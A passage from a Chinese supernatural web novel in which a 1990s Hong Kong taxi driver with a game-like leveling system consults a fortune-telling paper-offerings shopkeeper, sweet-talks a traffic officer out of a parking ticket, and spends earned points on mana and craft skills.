不过结账的时候,阿秀说**已经把单都买了。
古德笑了笑,也没有多说。
两人一鬼走出茶餐厅,来到古德的红色皇冠出租车旁。
古德拉开车门,很自然地坐进驾驶座。
谢潮犹豫了一下,拉开后车门坐了进去。
古德熟练地发动车子,按下计价器,“哒”的一声轻响,红灯亮起。
后座的谢潮一脸不可置信地指着计价器:“喂!不是吧?!古德!你叫我坐你的车,你还要收钱?!”
古德一脸理所当然,一边挂挡松手刹,一边回道:
“当然要收!亲兄弟明算账嘛!虽然我们现在认识了,但打车付钱,天经地义!坐稳了!”
说完,他一脚油门,车子平稳地驶入凌晨空旷的街道。
最主要的是古德要赚公里点数!
这种刷点的机会,可不能浪费!
第25章 解开了一些疑惑
汽车穿过凌晨逐渐稀少的车流,朝着深水埗的方向驶去。
街道两旁的路灯投下昏黄的光晕,将九十年代香港凌晨特有的静谧感渲染开来。
计价器上的数字随着里程的跳动不断增加。
最终,车子停在了“福寿斋”纸扎铺的门口。
昏暗的招牌下,店铺门窗紧闭,但里面似乎透出一点微光。
“承惠二十五港币,谢了潮哥。”
古德拉上手刹,脸上露出一个真诚又带着点职业化的笑容,指了指计价器。
从茶餐厅到这里,路程大约6.3公里,加了一点夜班费,刚好二十五块。
谢潮看着那数字,又看了看古德的笑脸,忍不住翻了个白眼。
他二话不说,掏出钱包,抽出一张绿色的一百元港币,“啪”地一声拍在仪表盘上,没好气地说:“不用找了!拿去贴补你那受伤的后背吧!”
说完,推开车门下了车。
古德笑嘻嘻地把钱收好:“多谢潮哥打赏!”
停好车,也跟着下了车。
推开纸扎铺那扇熟悉的、带着铃铛的木门,里面亮着一盏昏黄的白炽灯。
纸扎陈果然没睡,正坐在他那张堆满杂物的旧木桌子后面,悠闲地泡着茶。
谢潮抱着双臂靠在一旁的货架边,脸色依旧酷酷的。
阿灿不知道飘到哪里去了。
看到古德进来,纸扎陈放下茶杯,脸上露出温和的笑意:“小友,我们又见面了。”
古德这次很放得开,环顾四周,随手从旁边拉过一张积了点灰尘的折叠凳,放在纸扎陈对面坐下,笑道:
“陈老板,**不露相啊。没想到您老人家还是个深藏不露的同道高人。”
纸扎陈笑着摆摆手,给古德也倒了一杯热茶:
“高人称不上。我就一个卖点香烛纸马、金银衣纸,给往生者行个方便的老头子。最多呢,跟着老辈人学了点看面相的本事,混口饭吃,当不得你的同道中人。”
他看着古德,眼神里带着深意。
“倒是古小友你,才让老头子我意外得很。在这道法早就断了根、天地灵气枯竭得像沙漠一样的年头,竟然还有人能使出真正的符箓之术?稀奇,太稀奇了!”
古德心中一动,这正是他一直以来最大的疑惑!
他端起那杯廉价的茉莉花茶抿了一口,顺势问道:“陈老板,您刚才说‘道法没落’、‘灵气枯竭’?这是什么意思?为什么现在没人能真正使用道法了?”
他感觉这个纸扎陈知道很多内幕。
纸扎陈脸上的笑容收敛了一些,轻轻叹了口气,眼中闪过一丝追忆和困惑:
“这事说来话长,也是玄门中一直解不开的一个谜。按老辈人的说法,天地间的灵气自古就有,虽不浓郁,但也绵绵不绝,滋养万物,也是我辈修士修炼的根基。
可到了清末的时候,不知道出了什么天大的变故,这天地间的灵气突然之间……”
他做了个快速下泄的手势,“就像有人在地底下挖开了一个直通深渊的大洞,哗的一下,全给漏光了!速度之快,简直无法想象!”
他顿了顿,声音带上了一丝沉重和惋惜:
“那些依赖灵气修炼道法的真正高人,一下子就成了无根之木。体内的法力用一点就少一点,根本无法补充。
无论修为多高深的前辈,最终都逃不过法力散尽、归于尘土的下场。道统也就这么断了传承。
剩下能用的,也就是一些不太依赖灵气、靠经验口诀就能起效的皮**功夫,比如风水堪舆、麻衣相术,或者一些需要特定材料但不用法力催动的旁门左道。
真正的符箓法术、咒法手印这些需要引动天地灵气的法门,早就成了绝响。”
他再次看向古德,眼神中的探究意味更浓了:
“可是古小友,偏偏是你这符箓之术……老头子我走南闯北这么多年,可以很肯定地告诉你,从来没有过什么仅靠朱砂和精血就能生效的符箓!那些玩意儿,画出来最多算个装饰品!”
他浑浊的眼睛里闪过一丝难以言喻的光彩,停顿了一下,用一种极其微妙的语气缓缓道:“或许……你是一个意外。你的存在,本身就是一个打破常理‘例外’?”
这话如同平地惊雷,在古德心中轰然炸响!
他端着茶杯的手微微一颤,滚烫的茶水溅出几滴落在他手背上,他却浑然不觉。
面色虽然竭力保持着平静,但内心早已掀起惊涛骇浪!
“他不仅是穿越,还是重生……”
这是他最大的秘密!
纸扎陈虽然不知道他是觉醒宿慧的人,但他敏锐地察觉到了古德的异常。
古德这才明白,自己通过系统学会并使用的符箓之术,与这个末法世界的规则存在根本性的冲突。
它太完整、太真实了,所以反而显得格格不入。
不过**自己掌握的东西,在这个世界能不能传授给别人。
一时间,狭小的纸扎铺里陷入了沉默。
只听得见白炽灯发出的微弱电流声,以及三人微不可闻的呼吸声。
气氛凝重而微妙。
古德深吸一口气,率先打破了沉默。他放下茶杯,看着纸扎陈,转换了话题:
“陈老板,阿潮说您精通相术。今天好不容易遇上,不知能否劳烦您老帮我看看?”
纸扎陈脸上的凝重散去,又恢复了那副和蔼的样子:“举手之劳,古小友不嫌弃就好。来,把手给我,再看看脸。”
古德伸出左手,掌心向上。
纸扎陈伸出布满皱纹和老茧的手指,轻轻搭在古德的手腕
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上,另一只手则抚摸着古德的掌纹。
他的目光锐利如鹰,在古德的脸上细细逡巡,从饱满光洁的额头(印堂),到挺直的鼻梁(山根、年寿、准头),再到方正的下巴(地阁)。
甚至连眉毛、眼睛的细微纹路都一一扫过。
他的动作缓慢而专注。
看了足足有几分钟,纸扎陈才缓缓收回手,喝了口茶,沉吟道:
“古小友,你这面相手相,结合起来看,很有意思啊。”
“首先,你这命宫生得宽大饱满,说明根基深、祖上或自身有福德庇荫;眉宇间神光内蕴,意志坚定。但问题出在你的山根这里……”
他顿了顿,手指虚点了一下自己鼻梁的位置:
“你山根的位置,有一条极细微的、如同被刀削断般的隐纹。
这在相学上叫‘山根截断’,主人生在某个特定的年龄节点,会遇到巨大变故或转折,命运轨迹会发生天翻地覆的改变!按我推算,这个节点就在你二十二岁左右!”
古德心中一震!
他觉醒前世记忆、获得系统、重生到这个世界,可不就是在二十二岁生日前后。
纸扎陈继续说道:“二十二岁前,你的命纹清晰稳定,虽有小波折但无大碍,是条顺风顺水、近乎‘平凡’的命格。但二十二岁后……”
他指了指古德的手掌,“你看你的命运线,从这里突然变得模糊不清,生出许多细小的分支,像是被投入石子的水面,充满了难以预测的变数!
这种命格,极其罕见!我走江湖这么多年,也就见过那么一两个!
这种人命格极硬,一生注定波澜壮阔,奇遇与惊险交织,每一步都可能是意料之外!”
他看着古德,眼神复杂:“至于更多的……老头子我道行有限,实在看不透了。你这未来的路,变数太多,是一片混沌,仿佛有一层迷雾笼罩,我拨不开。”
他笑了笑,补充一句,“不过命硬是好事,在这乱世,活得久比什么都强。”
古德听完,心中佩服不已。
这纸扎陈果然有两把刷子!
虽然没算出系统,但将他觉醒宿慧、命运剧变的特征看得一清二楚!
看来这个世界的水很深,不能小觑任何看似不起眼的人物。
接着,古德看着一旁沉默的谢潮,又向纸扎陈问道:“陈老板,还有一个问题。您看我这命格……会被阿潮那天煞孤星的命格所克吗?”
“天煞孤星命格!”
纸扎陈闻言,眼神猛地一缩。
仿佛一道极锐利的光从他眼中闪过。
这是他完全没有预料到的方向!
他神色顿时凝重无比,锐利的目光再次射向古德的脸,紧接着又极其认真地端详起自己徒弟谢潮的面相,甚至比之前看古德时更加仔细。
第26章 阿sir,手下留情
纸扎陈的手指微微有些颤抖,他在谢潮的脸上反复确认着一些极细微的特征。
慢慢地,他紧锁的眉头渐渐舒展,浑浊的眼中爆发出难以置信的光芒,最终化作浓浓的惊喜!
“怪哉!怪哉!”
纸扎陈的声音带着压抑不住的激动和难以置信,“妙啊!实在是妙!”
他看着自己的爱徒谢潮,又看看古德,嘴唇都有些哆嗦。
纸扎陈也不想谢潮一辈子孤苦伶仃,不想他因为害怕连累他人而封闭内心。
纸扎陈内心深处一直渴望能为徒弟找到一线生机。
可“天煞孤星”是极为凶戾、难以化解的绝命!
他万万没想到,仅仅是与眼前这个命格奇特的年轻人接触了一次,那笼罩在谢潮命格上令人绝望的天煞孤星命格,竟隐隐出现了一丝极其细微、几乎看不见的……裂缝!
一缕微弱的、代表人气和羁绊的红丝,在谢潮坚硬死寂的地阁边缘隐隐浮现。
更惊人的是,谢潮原本清晰可见的、孤煞到底的命纹,此刻竟然也变得模糊不清,同样笼罩上了一层淡淡的迷雾,充满了变数。
这是之前从未出现过的。
意味着他的命运轨迹,竟然因为眼前这个古德的出现,被强行撼动,产生了偏移的可能。
谢潮一直在旁边紧张地屏住呼吸,看到师父眼中爆发的惊喜和激动,他感觉自己的心快要跳出胸腔。
狂喜、担忧、期待交织在一起,让他手心全是冷汗。
半响,他听到师父用带着极力压抑的颤抖声音缓缓开口:
“阿潮……”
谢潮猛地抬头,双眼死死盯着师父。
纸扎陈深吸一口气,一字一句,清晰地说道:“你以后……可以多跟古小友接触接触……大胆地去交往。这对你……只有好处!切记!切记!”
轰!
如同被巨锤砸中心脏。
谢潮浑身剧烈一震,大脑一片空白!
他等了多久?盼了多久?
从小在克死所有亲近之人的痛苦和恐惧中长大,习惯了冷漠和孤独,内心深处却从未放弃过对一丝温情的渴望。
现在,师父竟然亲口告诉他,他有机会改变那该死的命运?!
这份巨大的惊喜和希望来得太突然,也太沉重!
他的眼睛瞬间红了,呼吸变得粗重无比。
他猛地转过头,看向那个依旧坐在凳子上、仿佛什么都不明白的古德。
一股难以言喻的情绪堵在喉咙口,千言万语最后只化作一声干涩的、带着无尽感激和希望的嘶哑声音:
“谢……谢谢!”
声音不大,却耗尽了他所有的力气。
古德看着谢潮激动得微微发抖的身体和那红红的眼眶,再结合纸扎陈那番话,心里也大概明白了。
他连忙摆摆手,语气依旧轻松:“阿潮,不用谢我。我其实啥也没做,就是跟你师父聊聊天而已。你也别太激动,朋友嘛,互相照应是应该的。”
他想了解的事情也了解得差不多了,便起身准备告辞。
他笑着对纸扎陈和谢潮说:
“陈老板,阿潮,今天叨扰了。改天有机会再聊。有事随时Call我,电话你们都有了。要是想打车去办事,也可以找我,看在朋友份上,车费给你们打折!”
说完,他挥了挥手,拉开门走了出去,留下纸扎陈和激动难平的谢潮还在店里。
走出纸扎铺,凌晨清凉的空气让他精神一振。
他快步走到自己的红色皇冠出租车旁,正准备拉开车门——
“喂!前边那个开红色皇冠的!站住!”
一个穿着交通警制服的身影,正拿着罚单本子,靠在一辆白色的交通巡逻摩托车上,就在古德的车头前。
那红色的停车罚单,正要往他的雨刮器上夹。
古德脸色一僵,心里咯噔一下!
不会吧!
这么点时间也被抄牌?!
他赶紧冲上去,脸上堆起笑容喊道:“阿sir!手下留情!手下留情啊!”
跑到近前,借着路灯的光一看,古德愣住了。
对方也愣了一下,显然认出了古德这张帅得很有辨识度的脸。
这不正是前几天在中环路口,自己提醒的“不准停放下客”那个帅气的出租车司机吗?
“是你啊!”
周星星眉毛一挑,合上罚单本子,指着古德的皇冠车,摆出一副铁面无私的样子。
“我说靓仔,这地方不能停车!喏,牌子竖在这里,你看不懂中文吗?违规停车,罚款320块!快点把车开走,我要开单了!”
说着又要去翻本子。
古德一听罚款数额,嘴角直抽抽。
320块,肉疼!
他连忙按住周星星准备写字的手,赔笑道:“阿sir!真不好意思!这不是太晚了嘛,刚送个朋友进去,就停了一会儿……我马上开走!马上就开走!”
他一边说着,一边麻利地从口袋里摸出一张崭新的绿色百元港币,隐蔽地递向周星星的口袋,压低声音:
“阿sir你看你这么早就起来执勤,肯定没吃早餐吧?要不先去茶餐厅喝杯奶茶,算我的?”
周星星一看那张“港币100”,顿时眉头倒竖,后退一步,声音提高了八度,义正辞严:
“喂!你想干什么?!公然贿赂警务人员?!罪加一等!我一定要给你开罚单!单号我都记好了!”
他又开始翻本子,动作更快了。
“别别别!阿sir,误会!天大的误会!”
古德反应极快,瞬间把钞票揣回自己口袋,脸上的笑容更加灿烂真诚,他立刻换上一副崇拜的表情,竖起大拇指:
“阿sir!您看您这明察秋毫、英明神武的样子!简直就是警界之光!我一看就知道您将来肯定是要升督察、总督察,甚至一哥的大人物!
我就是想跟您这样的英雄人物交个朋友!绝对没有半点贿赂的意思!”
他把“英明神武”四个字咬得特别重。
周星星正准备落笔的手停住了。
他狐疑地看着古德,似乎在判断他话里
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的真假。
但古德那真诚的赞美,特别是“升督察”、“总督察”、“一哥”这几个词,精准地戳中了周星星那颗渴望被认可和升职加薪的心!
只见周星星原本紧绷严肃的表情,瞬间如同冰雪消融,眉眼间竟然带上了一丝掩饰不住的得意和满足。
他“啪”的一下合上罚单本子,揣回口袋,故作威严地咳嗽了一声,但嘴角的笑意已经快压不住了:
“咳……嗯!算你小子还有点眼光!知道我是个人才!好吧,看在你这么有眼光的份上,今天就交你这个朋友了!赶紧把车开走!下次不准停这里了!”
他挥手作驱赶状。
古德心里大大松了口气,赶紧点头如捣蒜:
“多谢阿sir!多谢阿sir!阿sir您真是大人有大量!我这就开走!这就开走!”
他拉开车门前,又想起什么,从包里摸出一张写着Call机号码的纸条,飞快地塞到周星星手里,低声快速说道:
“阿sir,我叫古德。您最近要是遇到什么……嗯……特别奇怪的,解释不清的事情,可以Call我,说不定我能帮上点小忙。”
他没明说“撞鬼”,怕吓到这个现在心情不错的交通警。
周星星疑惑地接过纸条,看了看上面的号码,又看了看古德神秘兮兮的表情,不明所以地挠了挠头:
“什么奇怪的事情?……哦!知道了,古德是吧?我记住你了!我叫周星星!靓仔,有机会再见!”
他把纸条随手塞进制服口袋,跨上那辆白摩托,扭钥匙,点火,伴随着一阵马达轰鸣,潇洒地留下一句:“拜拜!”
巡逻摩托汇入稀少的车流,很快消失在街角。
古德坐进驾驶座,系上安全带。
疲惫感如同潮水般涌来,他现在只想一脚油门冲回阴阳路的家,扑到床上好好睡他个天昏地暗。
车子启动,驶向回家的路。
古德看着窗外飞快掠过的街景,脑子里却不由自主地回想着纸扎陈和谢潮。
那个神秘的纸扎陈……到底是什么来头?
他说的“灵气枯竭”是真,但他自己却似乎掌握着另一种与玄学结合的奇妙道路。
根据谢潮的描述,那个威力强大的“灭魂”**,还有那个能破隐身、显鬼形还能削弱鬼物的“显形水”,都是这个纸扎陈亲手发明制造的!
这种将现代科技与玄学力量结合的能力……
让古德忍不住联想到了另一个同样在港产片世界里大名鼎鼎、以“发明家”身份著称的神人。
“该不会……他其实是那位鼎鼎大名的……达文西吧?”
古德脑子里冒出这个有些无厘头却又莫名合理的念头。
《国产凌凌漆》里那个能发明皮鞋吹风机的达文西形象和纸扎陈邋遢外表下深不可测的发明才能隐隐重合。
车子驶入熟悉的街道。
古德甩甩头,把这些纷乱的思绪暂时抛开。
管他是纸扎陈还是达文西,现在最要紧的,是回家!睡觉!
第27章 准备加点的技能
经历了浅水湾别墅的恶鬼替身,以及深水埗后巷的影魇截杀后,古德终于迎来了几天久违的平静。
香江的空气依旧潮湿,街头小巷车水马龙,霓虹灯映照在积水的地面上,仿佛一层虚幻的幻影。夜色下的这座城市,看似繁华,却暗流汹涌。
这几天时间,谢潮隔三差五就Call他,不是约着一起吃饭吹水,就是讨论某些调查过程中遇到的灵异疑点,或者干脆直接交流对各种鬼物特性的认知。
古德倒也乐得配合,一来能多获取信息,二来嘛……每次谢潮Call他,就意味着要坐他的车,有公里点数可赚!
一辆红色皇冠出租车飞驰而过,车窗里一个穿皮夹克、戴墨镜的酷哥慵懒地靠在副驾,一边吸溜奶茶,一边胡天侃地提出稀奇古怪的问题。
驾驶座上的古德专心开车,时而无奈摇头,时而滔滔不绝地讲解。
车厢里氛围轻松愉快,完全不像在讨论诡异事件,倒像是两个大学生在深夜茶餐厅里吹牛。
“喂,德仔,你说糯米能驱散阴气,是因为陈年糯米吸收了太阳光,转化成纯阳之力。那要是造一个手电筒,能把阳光储存起来再释放,是不是就等于随身携带一个小太阳?”
谢潮吸溜着奶茶,一本正经地提出设想。
古德差点没笑出声:“手电筒变小太阳?你可以问下你师父,不过我觉得悬到爆。”
谢潮说的,其实就是后世常见的太阳能手电筒,但就算有那玩意儿,也没听说过能驱鬼的。
谢潮不依不饶:“那如果在一个区域制造超强电磁场干扰呢?我看过资料,某些对电磁敏感的鬼物会显形。要是我弄个便携式电磁**,岂不是能逼鬼现身?”
古德一边打方向盘,一边无语扶额:“你到底是警探,还是科研怪人?”
谢潮耸肩,神态倒是轻松。
他这几天仿佛放飞自我了,不再像之前那样眉头紧锁,仿佛整个人都松弛下来。
古德心头微动,随即把话题岔开:“对了,你的搭档阿灿呢?”
话音一落,副驾上的谢潮表情明显停顿了一下,墨镜后面的眼神似乎晃过一抹沉色。
但很快,他嘴角勾起一个若有若无的笑,语气装作轻描淡写。
“阿灿到了投胎的时间,我就不拖着他了。”
古德斜了他一眼,见他表情不似作伪,反而放松下来。
他轻轻笑了声:“投胎了啊……那也挺好。”
谢潮没再多说,低头把奶茶最后一口吸干,发出“咕噜”的声音,似乎把那点复杂情绪也一同吞了下去。
……
他们话题话题诡异,但过程轻松,关键是谢潮付钱爽快!
出租车费、饭钱、宵夜……全是他买单。
古德只需开车聊天,点数就哗哗往上涨。
几天下来,古德钱包鼓了,系统面板上的公里点数更是节节攀升!
他专门在床头柜上放了个小本子记账:
第五天:常规载客+陪谢潮绕港岛一大圈,讨论“水鬼生态”。
里程:312.8公里→点数:312.8
前四天累计:约1440点(不含今日)
可用点数总计:1752.8
看着那个逼近1800点的数字,古德内心火热。
不过这点数看着多,但真要花起来,也跟流水一样快。
尤其是,当点数突破一千大关时,人物面板上那个始终灰暗的【法力】属性后面,那个若隐若现的“+”号,终于亮了起来!
这期间,他也没忘记最重要的事。
通过谢潮的渠道和他自己开出租时打听到的只言片语,进一步整合消息。
结果印证了之前的猜测:九叔、陈友、千鹤道长、钟发白……
这些他记忆中赫赫有名的驱魔道长,在这个世界上似乎真的销声匿迹,从未存在过。
倒是一些凶名赫赫的鬼物传闻,在特定区域流传:
比如某个死绝的偏远村落里据说有人看到,有个身穿蓝衣服,看不见样貌的女人在唱粤曲;某座被烧毁的废弃戏院,午夜竟然有戏班子在唱戏;铜锣湾旧楼区时常发生的离奇坠楼案……
这些消息像一块块沉重的石头压在古德心头。
没有高人前辈镇场子,意味着一旦遇到电影里那些BOSS级的厉鬼凶煞,他古德就得自己
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顶上!
这让他极度缺乏安全感。
“不行,还是必须尽快提升实力!”
古德下定了决心。
光靠LV2的八极拳和几张符箓,对付小怪还行,面对真正的凶物,怕是力有未逮。
他把目光投向了系统里的技能树。
这几天他反复研究、筛选,结合自己的现状和未来的生存需求,最终锁定了几个需要优先强化的方向。
首先是玄门先天咒炼。
这并非直接的战斗术法,而是一门专门用于激活、蕴养、操控法器灵性的基础咒文法门,还附带了一些初阶法器的制作图鉴。
可以说,这就是法器开光和制作的“根基”。
在这个末法时代,现成的法器少之又少,若能凭此术让废器开光、古旧复苏,甚至自己动手炼制简易灵器,那战斗手段就能多出数倍。
第二个是老木匠手艺。
古德自己都纳闷,为何系统会出现这样一个技能。
或许是前世翻过那本木作书籍,留下了一丝缘分。
但仔细想来,若没有扎实的工艺技巧,就算学了咒炼,做出的东西也只会四不像。
这一技能涵盖从榫卯结构,到各种木材的特性、刀锯刨凿的运用,堪称“工匠必修”。
对未来制作法器而言,至关重要。
第三个是老木匠符书。
它不同于正统的道门符箓,而是古代工匠代代流传的符图、厌胜之术,常用于镇宅辟邪、纳福驱祟。
单独来看,作用有限。
但是和老木匠手艺搭配起来,就可以变成1+1等于无限的可能!
最后是华夏风水研究。
风水之道,博大精深。
古德前世学过一些堪舆的皮**,用来糊弄客户还行,但真要应对阴祟,简直就是小孩过家家。
此技能却涵盖了“龙、穴、砂、水、向”五诀,能分辨地气流转,识别生气、死气与煞气,还能洞察天然格局的吉凶祸福。
在港岛这种灵异频发之地,凶宅、乱葬岗、阴煞局数不胜数,若无此本事,很可能一脚踏错,就再无回头。
这四门技能,古德都准备加到LV2。
第28章 加点法力,质的突破
不过,这些只是“小头”。
真正的大头,是【法力】。
法力,才是一切超凡力量的源泉。
在末法时代,能自生法力,本身就是一种质的飞跃。
古德隐隐有种直觉,系统给的法力纸扎陈说的那种不同,不会出现用多少耗多少,一旦用完就会消耗尽的那种。
相反,他能通过呼吸法,把耗尽的法力一点点修炼回来。
而且一旦拥有法力,便有了很多无限可能。
想到这里,古德心跳不由加快,眼底闪过一抹炽热。
他迅速算了一笔账:
玄门先天咒炼(10+100=110)
老木匠手艺(10+100=110)
老木匠符书(10+100=110)
风水研究(10+100=110)
法力(1000)
合计消耗:1440点。
目前点数:1760.8。
剩余320.8点,刚好能留下机动余量。
目标确认无误。古德心中暗暗吐出一口气,眼神坚毅下来。
“就按这个来!”
夜深人静,古德在阴阳路的住宅,昏黄的灯光早已熄灭,窗外下起了小雨,雨点打在铁皮檐上发出“滴答”声。
古德盘膝坐在床上,窗帘拉得严实,门栓扣紧,四下静谧得连心跳都清晰可闻。
他缓缓深吸一口气,将意念沉入系统面板。
加点——开始!
他首先将目光锁定在【法力】后面那枚一直灰暗、如今终于点亮的“+”号上。
“深蓝,给我加点法力!”
下一瞬——
轰!
一股难以言喻的力量,宛如天河决堤般,猛然注入他的丹田!
这股能量既温和,又浩瀚,既包容,又霸道。
与他先前通过呼吸法辛苦积攒的那丝微弱气流相比,简直是涓涓细流与滔天江河的差别。
法力如同炽热的液体,自丹田溢出,循着LV2呼吸法早已打通的经络疯狂奔涌。
冲刷!
扩张!
撕裂!
每一条经脉,都像河床遭遇暴雨洪流,狭窄的水道被强行拓宽,脆弱的管壁被反复冲击。
剧烈的胀痛与撕裂感席卷全身,冷汗瞬间浸湿了他的背脊。
可每一次痛楚之后,都会留下一种前所未有的畅通感与力量感,仿佛全身都在被重铸。
时间在痛苦与快感的交织中缓缓流逝。
终于,狂暴的力量逐渐平息,收束成一缕温润的气息,最后只留下了一丝法力,静静停驻在他的丹田深处。
一团温煦而强大的能量核心缓缓旋转,宛如初生的火焰,又似冉冉升起的晨曦,散发着勃勃生机。
古德猛地睁开眼睛,眼底闪过一丝精光。
“呼……”他长长吐出一口浊气,只觉胸腔比以往任何时候都要通畅。
一股充沛的力量感和精神上的清明通透遍布全身,仿佛连世界都变得清晰了几分。
接着,他眼里浮现出一丝深思。
看来,这加点出来的一点法力并不算多,最后能真正留存下来的,只有寥寥一丝。
不过古德发现加点出现的法力并非凭空消耗,而是强行塑造出出法力种子,为他奠定了生生不息的根基。
经过这次洗练,他的体质、经脉与资质都被极大改善。
修炼,最重要的,便是从无到有。
有些人穷极一生,都未能跨过这道“零到一”的门槛。
而现在,他做到了!
【法力:0/∞→1/∞!(∞代表没有上限)】
数值的变化,清晰地浮现在面板上。
古德盯着那行数据,嘴角忍不住勾起一丝笑意。
这1000点,花得绝对值!
他终于正式拥有了法力!
拥有了真正的超凡之基!
接下来,是技能加点。
比起法力灌注带来的狂暴与撕裂感,知识性的技能提升显得温和许多。
但信息量的庞大,却同样足以让人头皮发麻。
玄门先天咒炼LV0→LV2:
无
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数古老、拗口的咒文音节涌入脑海,每一个音节似乎都对应着某种宇宙能量的频率。
同时涌入的,还有各种法器的形态、材质、结构信息,以及如何用特定的咒语和手印去唤醒它们沉睡的灵性。
如何通过精神共振去喂养和引导这些灵性,甚至如何修复受损法器的核心符阵……这些都仿佛有一位资深法器大师在谆谆教导古德。
当他回过神来时,双手十指竟变得格外修长灵活,每一次轻轻摆动,都似乎天生适合结印施咒。
LV2的咒炼术,让他初步掌握了开光法门,虽然还处于入门层次,却足以让法器的响应速度和威力显著提升。
老木匠手艺LV0→LV2:
脑海中骤然浮现出木材的纹理、韧性、湿度与硬度的无数数据。
各种凿、刨、锯、斧、墨斗等工具的使用技巧和发力窍门如同千锤百炼的肌肉记忆,瞬间刻入骨髓。
他甚至能“看”到不同木料在不同湿度、温度下细微的变形规律。
LV2的手艺,让他达到了资深木匠的水准,制作精细部件不在话下,能完美实现图纸上的要求。
他的手掌似乎多了一层看不见的老茧,对力道的把握精细入微。
老木匠符书LV0→LV2:
一股异样的知识汹涌而至。
大量的符文、图案与风水布局,在他意识中急速浮现。
这些符箓不同于正统道门,风格古朴,充满工匠的实用主义色彩。
镇宅用的“泰山石敢当”,如何刻绘才能既威严又不伤和气;
小楼屋角的“瓦将军”,具体尺寸与符文雕刻的手法;
鲁班尺上“财、病、离、义、官、劫、害、吉”的应用与禁忌;
甚至还有几种阴损的厌胜术器具的记录,如“木鸟啄眼”“小人锁喉”,诡异而阴狠。!
LV2的符书理解,让他真正跨入了“鲁班门徒”的门槛。
拥有了系统性地布设实用型风水器具的能力,手段也变得丰富诡异。
第30章 再去找纸扎陈打听
第二天,古德睡到日上三竿才醒。
经过一夜的深度睡眠和体内新生法力的自然运转,他感觉神清气爽,精力充沛得仿佛能一拳打死一头牛。
他兴致勃勃地洗漱完毕,连早餐都顾不上吃,就开着车直奔深水埗的“福寿斋”。
他现在已经拥有了真正的法力,又掌握了“玄门先天咒炼”的法门,心里就跟猫抓似的痒痒。
急需一件真正的法器来练手。
推开纸扎铺的门,铃铛声清脆响起。
纸扎陈依旧坐在他那张堆满杂物的老桌子后面,正戴着老花镜,慢悠悠地修补一个纸扎的童男。
“陈老板,早啊!”
古德笑容满面地打招呼。
纸扎陈抬起头,从老花镜上方瞥了他一眼,慢吞吞地说:
“不早啦,古小友。看你气色红润,印堂发亮,昨晚睡得不错嘛。怎么,今天这么有空来看我这个老头子?”
古德也不绕弯子,直接凑上前,压低声音,带着几分期待问:
“陈老板,您老人家见多识广,路子又野……我就是想问问,您知不知道哪里还能找到些老物件?
就是以前那些道士、法师用过的家伙事儿,罗盘啊、法剑啊、令牌啊之类的?哪怕灵性散光了,破旧点都没关系!”
纸扎陈闻言,放下手里的浆糊刷,没好气地翻了个白眼:
“你小子,想得倒美!真有灵性的好东西,哪个不是被当成传家宝一样藏着掖着,天天上香供着,生怕磕了碰了?谁会拿出来卖?
至于那些彻底没了灵性、跟普通破铜烂铁没区别的……嘿,要么早就被不懂行的当古董卖了,要么就是被当成破烂垃圾,不知道扔哪个犄角旮旯里生锈发霉了!你以为是大白菜啊,满街都是?”
古德一听,脸上顿时露出毫不掩饰的失望表情,唉声叹气:
“唉……一点门路都没有吗?哪怕是线索也好啊……”
纸扎陈看着他那副样子,沉默了片刻,眼睛里闪过一丝复杂的情绪。
他慢慢站起身走到柜台最里面,在一个落满灰尘的木箱子底下摸索了半天,最后掏出了一个用深蓝色土布包裹得严严实实的长方形物件。
他小心翼翼地解开布包,里面露出的是一个看起来有些年头的木质罗盘。
罗盘的木质呈深褐色,边缘被摩挲得十分光滑,盘面上的天池、内盘、外盘结构清晰,刻度虽然有些模糊,但依然能辨认。
整体透着一股古朴的气息,但并没有感受到什么强大的能量波动,似乎只是一件保存尚好的旧物。
纸扎陈轻轻抚摸着罗盘,眼神里带着一丝追忆和不舍,最终他还是将它递向了古德。
“喏,这个……给你吧。”
古德愣了一下,没立刻去接:“陈老板,这是……”
“这是我年轻时用过的一个老伙计。”
纸扎陈语气平淡,却带着一种难以言喻的落寞,“跟着我走南闯北几十年,也镇过不少邪祟。
后来……后来灵气彻底没了,它也就慢慢睡着了,跟普通罗盘没啥两样。我老了,也用不上它了,留着也是落灰。”
他抬起头,目光深邃地看着古德,语气变得格外认真:
“古小友,你是有真本事,也有大造化的人。这东西给你,不算埋没它。我只希望……以后你能帮我多照应照应阿潮那孩子。
他……命苦,看着冷,心里其实比谁都热乎,就是被那命格给拖累了……”
古德看着纸扎陈那带着恳求和不舍的眼神,心里明白了。
他是把谢潮当亲儿子看待了!
这罗盘哪怕灵性已失,也是跟了他大半辈子的老伙伴,意义非凡。
他能拿出来,这份托付的重量可不轻。
古德脸上的嬉笑收敛起来,郑重地双手接过罗盘,认真地点了点头:
“陈老板,您放心。阿潮是我朋友,就算您不说,该帮的时候我也不会袖手旁观。”
他掂量了一下手中沉甸甸的罗盘,感受着那木质温润的触感,又补充道:
“当然,我古德也不能白拿您这么贵重的东西。这样,回头我教阿潮一门修炼的**,看看他能不能练出点名堂。
至于能学到多少,就看他自己的造化了。这罗盘,就算是给我提前支付的学费了。”
纸扎陈听到古德竟然愿意传授**,古井无波的脸上终于露出一丝动容!
在这个道法绝迹的年代,一门真正的修炼法门,其价值根本无法估量!
他嘴唇动了动,似乎想说什么,最终只是摆了摆手,语气恢复了平时的淡然:
“行了行了,你们年轻人的事,我老头子就不多掺和了。以后需要画符的黄纸、朱砂什么的,还来找我,保证给你最好的货,价格好商量。”
古德正好也需要补充库存,便顺势又买了一大叠上好的黄表纸、几两成色极佳的朱砂粉,还有两支新的狼毫小楷笔。
他这边刚把钱付清,打包好东西,忽然发现门口的光线微微一暗。
一个身影静悄悄飘了进来。
那是个穿着白色连衣裙的年轻女孩,轮廓清晰,却带着淡淡的透明感,脸色惨白,双手绞在一起,怯生生地停在门口,眼神里满是无助和哀求。
古德眉头一挑,心里暗道:“好家伙,还真是阴阳两路的客人都来光顾。”
他不动声色,识趣地对纸扎陈说道:
“陈老板,那我就不打扰您做生意了。法器的事,还请您帮我多留意留意,就算失了灵性也没关系。我先走了。”
纸扎陈无奈地笑了一下,点点头,随后转向那个女孩,声音放得格外温和:
“姑娘,有什么需要帮忙的吗?”
他这纸扎铺,偶尔也会接待一些心有执念、无法安息的“特殊客人”,帮它们完成一些未了的心愿,送它们安心上路,也算是积攒阴德。
古德抱着新买的家伙事儿和那个旧罗盘走出纸扎铺,刚走到自己的出租车旁,就看到一个熟悉的身影正靠在他的车头上。
那人双手插在皮夹克口袋里,墨镜推到额头上,正百无聊赖地踢着路边的小石子。
不是谢潮又是谁?
古德忍不住吐槽:
